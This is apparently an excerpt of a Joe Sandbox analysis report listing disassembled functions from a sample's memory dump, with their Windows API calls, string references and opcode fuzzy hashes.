Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 05ba5da93f7d29b88756fbe5dca0d05eeae494bc12a93b99eeade28db4949847
Instruction ID: 01a7f1d309e52f12d0c1413fbf2e2a980b2261b0060e33a89e1d5fed89286de3
Opcode Fuzzy Hash: 05ba5da93f7d29b88756fbe5dca0d05eeae494bc12a93b99eeade28db4949847
Instruction Fuzzy Hash: 98D14E71608601DFC714EF24C488A2ABBE1FF89724F14885DF88A9B361DB35ED45CB92

Function 0082175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00820FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00820FCA
Part of subcall function 00820FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00820FD6
Part of subcall function 00820FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00820FE5
Part of subcall function 00820FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00820FEC
Part of subcall function 00820FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00821002

GetLengthSid.ADVAPI32(?,00000000,00821335), ref: 008217AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 008217BA
HeapAlloc.KERNEL32(00000000), ref: 008217C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 008217DA
GetProcessHeap.KERNEL32(00000000,00000000,00821335), ref: 008217EE
HeapFree.KERNEL32(00000000), ref: 008217F5

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 4320e387720e33bc5b4c77b4b4483f94086a1f4618c6520ad38e43c2bd2ccd93
Instruction ID: d6467e739118b6ca63200cc2b02f3d3322db7a341f4ef359ff5ff37d47d40001
Opcode Fuzzy Hash: 4320e387720e33bc5b4c77b4b4483f94086a1f4618c6520ad38e43c2bd2ccd93
Instruction Fuzzy Hash: 4B11AC31500715EFDF109FA4EC49BAE7BA9FB95356F204018F441D7255C739A984CF60

Function 008214CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 008214FF
OpenProcessToken.ADVAPI32(00000000), ref: 00821506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00821515
CloseHandle.KERNEL32(00000004), ref: 00821520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0082154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00821563

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 5451372b3118de1686bd800bab08465259aed05bf198d302f985ff9cabc0125f
Instruction ID: c351abba588df93283ff7ce8143043d5209ab53554e2641ff34bd23c3dc7500b
Opcode Fuzzy Hash: 5451372b3118de1686bd800bab08465259aed05bf198d302f985ff9cabc0125f
Instruction Fuzzy Hash: 9D11597250030DAFDF118F98EE49BDE7BA9FF48705F144055FA05A2160C3758EA0DB60

Function 007E3382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,007E3379,007E2FE5), ref: 007E3390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 007E339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 007E33B7
SetLastError.KERNEL32(00000000,?,007E3379,007E2FE5), ref: 007E3409

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: aafe719be724d4934610f40f43e2347e0af77a6e86e0bb55bd32e98de29b5118
Instruction ID: 0923b255494b954ba284a6af4be40a9ddf77b9f07f01be8fd864d7fb989e0aef
Opcode Fuzzy Hash: aafe719be724d4934610f40f43e2347e0af77a6e86e0bb55bd32e98de29b5118
Instruction Fuzzy Hash: 1501283220B791FFE726277B7C8D9662A94FB0D3B97300229F410872F1EF694D015664

Function 007F2D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,007F5686,00803CD6,?,00000000,?,007F5B6A,?,?,?,?,?,007EE6D1,?,00888A48), ref: 007F2D78
_free.LIBCMT ref: 007F2DAB
_free.LIBCMT ref: 007F2DD3
SetLastError.KERNEL32(00000000,?,?,?,?,007EE6D1,?,00888A48,00000010,007C4F4A,?,?,00000000,00803CD6), ref: 007F2DE0
SetLastError.KERNEL32(00000000,?,?,?,?,007EE6D1,?,00888A48,00000010,007C4F4A,?,?,00000000,00803CD6), ref: 007F2DEC
_abort.LIBCMT ref: 007F2DF2

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 3ca95612453d670ada79c4dd5f70e01596be1c2535632a972a228c516dc73c74
Instruction ID: 96f3c6fbfbfef75f8e063bb7463c08bfe3b580a4776a3f79dc01745f4bab69a3
Opcode Fuzzy Hash: 3ca95612453d670ada79c4dd5f70e01596be1c2535632a972a228c516dc73c74
Instruction Fuzzy Hash: 81F0F435645B0CBBC2122738BC0EA7A2559BFC17A1B240118FB24D23A3EE2C88034561

Function 00858A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 007D9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 007D9693
Part of subcall function 007D9639: SelectObject.GDI32(?,00000000), ref: 007D96A2
Part of subcall function 007D9639: BeginPath.GDI32(?), ref: 007D96B9
Part of subcall function 007D9639: SelectObject.GDI32(?,00000000), ref: 007D96E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00858A4E
LineTo.GDI32(?,00000003,00000000), ref: 00858A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00858A70
LineTo.GDI32(?,00000000,00000003), ref: 00858A80
EndPath.GDI32(?), ref: 00858A90
StrokePath.GDI32(?), ref: 00858AA0

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 2dcadd2afac4907f25f17f2155131f1d0b6e9805fbc3e54ddfedf4cdfe6ffcf4
Instruction ID: aef8c4a85c7e9390fee8d5e6de8eb9e53577ec1c876375995974dcea18daed1f
Opcode Fuzzy Hash: 2dcadd2afac4907f25f17f2155131f1d0b6e9805fbc3e54ddfedf4cdfe6ffcf4
Instruction Fuzzy Hash: 77110976000219FFDF129F90DC88EAA7F6DFB08391F048012FA199A1A1C7729D55DFA0

Function 008251FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00825218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00825229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00825230
ReleaseDC.USER32(00000000,00000000), ref: 00825238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0082524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00825261

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 2a97616122b8baf5d1e1747bcb59c5199779ff1a0acce04ff68c77024f1ca849
Instruction ID: ffb38f04313ebeffced521fd80cd5bf6cac6b91875ea4586286f1811b7b8eec4
Opcode Fuzzy Hash: 2a97616122b8baf5d1e1747bcb59c5199779ff1a0acce04ff68c77024f1ca849
Instruction Fuzzy Hash: 09014F75A40718BFEB109BA69C49E5EBFB8FF48752F044065FA04E7281DA749900CFA0

Function 007C1BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 007C1BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 007C1BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 007C1C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 007C1C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 007C1C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 007C1C22

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: dbcbe7ff841e91a5b37935c495e649e591fd34ea1319ecc12088192f330202e7
Instruction ID: 246239c133a2435621cac8e372caf596f171679365a37f04dd9651d48404ebb1
Opcode Fuzzy Hash: dbcbe7ff841e91a5b37935c495e649e591fd34ea1319ecc12088192f330202e7
Instruction Fuzzy Hash: 980144B0902B5ABDE3008F6A8C85A52FEA8FF19354F00411BA15C4BA42C7B5A864CBE5

Function 0082EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0082EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0082EB46
GetWindowThreadProcessId.USER32(?,?), ref: 0082EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0082EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0082EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0082EB75

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 9baac0b712e47b49fd89a8e42dd11749470cb27b7fa543a695878befbaafd31e
Instruction ID: 80becd73c53bfe9a63cd898acf7954af3b4648e0219fa92bbbc42e97fceb4c9c
Opcode Fuzzy Hash: 9baac0b712e47b49fd89a8e42dd11749470cb27b7fa543a695878befbaafd31e
Instruction Fuzzy Hash: 29F01D72140758BFE6215B529C0DEEB7EBCFBCAB12F000159F601D119196A45A418AB5

Function 00817439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00817452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00817469
GetWindowDC.USER32(?), ref: 00817475
GetPixel.GDI32(00000000,?,?), ref: 00817484
ReleaseDC.USER32(?,00000000), ref: 00817496
GetSysColor.USER32(00000005), ref: 008174B0

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 6e24b8aaa6f16bb1da52d5f03d42de1a1c5120babb56ccd3e4effea8a17485b8
Instruction ID: b62b6cf5711cee6371131b2645bdd25bc28d526d32efd9f29cf866c5553c1873
Opcode Fuzzy Hash: 6e24b8aaa6f16bb1da52d5f03d42de1a1c5120babb56ccd3e4effea8a17485b8
Instruction Fuzzy Hash: 4A012431404315EFEB515FA4DC48BEA7BBAFF04322F650168FA16A21A1CB391E91EF50

Function 00821874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0082187F
UnloadUserProfile.USERENV(?,?), ref: 0082188B
CloseHandle.KERNEL32(?), ref: 00821894
CloseHandle.KERNEL32(?), ref: 0082189C
GetProcessHeap.KERNEL32(00000000,?), ref: 008218A5
HeapFree.KERNEL32(00000000), ref: 008218AC

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 6f8fdc14ca60018c1ee99ba8199211915442a9eabac216039539bddc0b275cd2
Instruction ID: ed697d00b4ccd78f69ababa5262be49e41ad9417f1c5cd0380e70bdb782557e0
Opcode Fuzzy Hash: 6f8fdc14ca60018c1ee99ba8199211915442a9eabac216039539bddc0b275cd2
Instruction Fuzzy Hash: C9E0C236044705BFDA015BA5ED0C94ABB69FB49B22B908220F22681570CB36A4A0DF50

Function 0082C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007C7620: _wcslen.LIBCMT ref: 007C7625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0082C6EE
_wcslen.LIBCMT ref: 0082C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0082C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0082C7CA

Strings

0, xrefs: 0082C6AF

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: e0417f93860dffd2a512ef13554a4faa55f368aecef182c976df2100e73f4f34
Instruction ID: b839aa9af4c6bd609105afce6772574700fabd64a9b0d53a051eabd899cf5d6b
Opcode Fuzzy Hash: e0417f93860dffd2a512ef13554a4faa55f368aecef182c976df2100e73f4f34
Instruction Fuzzy Hash: 4251BD716043219FD714AF28E889B7E77E8FF49314F040A2DF996E32A0DB64D984CB52

Function 0084AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 0084AEA3

Part of subcall function 007C7620: _wcslen.LIBCMT ref: 007C7625

GetProcessId.KERNEL32(00000000), ref: 0084AF38
CloseHandle.KERNEL32(00000000), ref: 0084AF67

Strings

<, xrefs: 0084AE6B
@, xrefs: 0084AE72

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 2df0604064fd9d60238b9c8118b9a84c06b2317955233d435e40a3c61d6ad6fd
Instruction ID: 3d34a2c1e2d2c2cf2aae71a14285f540646f7546056359036c5d68317de7604a
Opcode Fuzzy Hash: 2df0604064fd9d60238b9c8118b9a84c06b2317955233d435e40a3c61d6ad6fd
Instruction Fuzzy Hash: 94712375A00619DFCB18DF54D488A9EBBB4FF08314F04849DE856AB3A2CB78ED45CB91

Function 0082719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00827206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0082723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0082724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 008272CF

Strings

DllGetClassObject, xrefs: 00827242

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: a7da78526891eddc245bd08a671a5b34b71731706634acfdcb6c91c91d81f32c
Instruction ID: dafed3950d79ed56f134074dc00c429f134a201e7ccec8a677c2bf8d6f4c6948
Opcode Fuzzy Hash: a7da78526891eddc245bd08a671a5b34b71731706634acfdcb6c91c91d81f32c
Instruction Fuzzy Hash: 35418CB1A04214EFDB15CF55D884A9A7BA9FF44314F1480ADFD06DF20AD7B4D984CBA0

Function 00853D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00853E35
IsMenu.USER32(?), ref: 00853E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00853E92
DrawMenuBar.USER32 ref: 00853EA5

Strings

0, xrefs: 00853D89

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: e89575ecce07ae75ed0abead28bafc9d4bd5a165bc0cc8f3b2cf9e3cba647563
Instruction ID: ba03248175ac3acc6da7af7139b1069a50393dc8156ec224c827a341ef15ac4b
Opcode Fuzzy Hash: e89575ecce07ae75ed0abead28bafc9d4bd5a165bc0cc8f3b2cf9e3cba647563
Instruction Fuzzy Hash: 09414675A01209EFDB10DF90D889AAABBF9FF48396F044129ED05A7650D734AE49CF60

Function 00821DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

Part of subcall function 00823CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00823CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00821E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00821E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00821EA9

Part of subcall function 007C6B57: _wcslen.LIBCMT ref: 007C6B6A

Strings

ComboBox, xrefs: 00821DF0
ListBox, xrefs: 00821E25

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 5103eff775f5e9fccaac14e0608c179461449fffe18037f64c299f36a07da4b9
Instruction ID: 8aef3db14526e634adcd5a60c66c0cd8de73b256097eb29cde560c865018b5ab
Opcode Fuzzy Hash: 5103eff775f5e9fccaac14e0608c179461449fffe18037f64c299f36a07da4b9
Instruction Fuzzy Hash: EA21E475A00204AEDB14AB64EC5DDFFB7B9FF65350B20412DF825E72E1DB384E498A20

Function 00852F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00852F8D
LoadLibraryW.KERNEL32(?), ref: 00852F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00852FA9
DestroyWindow.USER32(?), ref: 00852FB1

Strings

SysAnimate32, xrefs: 00852F68

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
